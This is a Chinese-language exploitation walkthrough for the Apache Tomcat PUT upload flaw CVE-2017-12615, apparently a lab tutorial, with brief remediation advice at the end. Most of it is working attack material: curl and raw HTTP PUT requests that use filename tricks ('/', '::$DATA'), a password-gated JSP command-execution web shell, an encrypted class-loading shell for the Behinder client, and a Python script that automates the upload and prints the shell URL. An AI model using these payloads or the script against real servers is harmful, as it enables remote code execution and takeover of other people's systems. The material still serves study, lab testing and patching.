Apache Tomcat 任意文件上传漏洞
1、漏洞描述
2017年9月19日,ApacheTomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中远程代码执行漏洞(CVE-2017-12615)影响: Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全)当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
2、漏洞编号
CVE-2017-12615
3、影响范围
Apache Tomcat 7.0.0 – 7.0.81
4、环境搭建
1、安装java环境
2、安装Tomcat 7.0.79
下载链接:https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.79/bin/
3、开启 HTTP PUT
修改/conf/web.xml文件,添加readonly属性,使者readonly=false
5、漏洞利用
1、任意文件上传——姿势一
curl -X PUT "http://172.16.12.136:8080/1.jsp/" -d '<%out.println("hello world!");%>'
通过curl 写入代码后,访问目的地址就可以查看到hello world ! 说明存在该漏洞。
2、任意文件上传——姿势二
利用Windows NTFS文件系统$DATA特性上传恶意代码,payload如下:
PUT /2.jsp::$DATA HTTP/1.1
Host:172.16.12.136:8080
User-Agent: JNTASS
DNT: 1
Connection: close
Content-Length: 664
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("passwd".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
成功写入后,执行命令:
3、任意文件上传——姿势三
可以上传jSp文件(但不能解析),却不可上传jsp。 说明tomcat对jsp是做了一定处理的。那么就考虑是否可以使其处理过程中对文件名的识别存在差异性,前面的流程中 test.jsp/ 识别为非jsp文件,而后续保存文件的时候,文件名不接受/字符,故而忽略掉。payload如下:
PUT /3.jsp/ HTTP/1.1
Host:172.16.12.136:8080
User-Agent: JNTASS
DNT: 1
Connection: close
Content-Length: 613
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
成功写入后,使用冰蝎连接:
4、任意文件上传——姿势四
使用脚本上传恶意代码,payload如下:
#! -*- coding:utf-8 -*-
import httplib
import sys
import time
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("passwd".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
try:
conn = httplib.HTTPConnection(sys.argv[1])
conn.request(method='OPTIONS', url='/ffffzz')
headers = dict(conn.getresponse().getheaders())
if 'allow' in headers and \
headers['allow'].find('PUT') > 0 :
conn.close()
conn = httplib.HTTPConnection(sys.argv[1])
url = "/" + str(int(time.time()))+'.jsp/'
#url = "/" + str(int(time.time()))+'.jsp::$DATA'
conn.request( method='PUT', url= url, body=body)
res = conn.getresponse()
if res.status == 201 :
#print 'shell:', 'http://' + sys.argv[1] + url[:-7]
print 'shell:', 'http://' + sys.argv[1] + url[:-1]
elif res.status == 204 :
print 'file exists'
else:
print 'error'
conn.close()
else:
print 'Server not vulnerable'
except Exception,e:
print 'Error:', e
使用脚本写入恶意代码获取shell:
6、漏洞修复
1、 PUT默认是关闭的。如果开启了,可将conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true,才能防止漏洞。
2、升级到稳定版本。
相关链接:https://mp.weixin.qq.com/s/dgWT3Cgf1mQs-IYxeID_Mw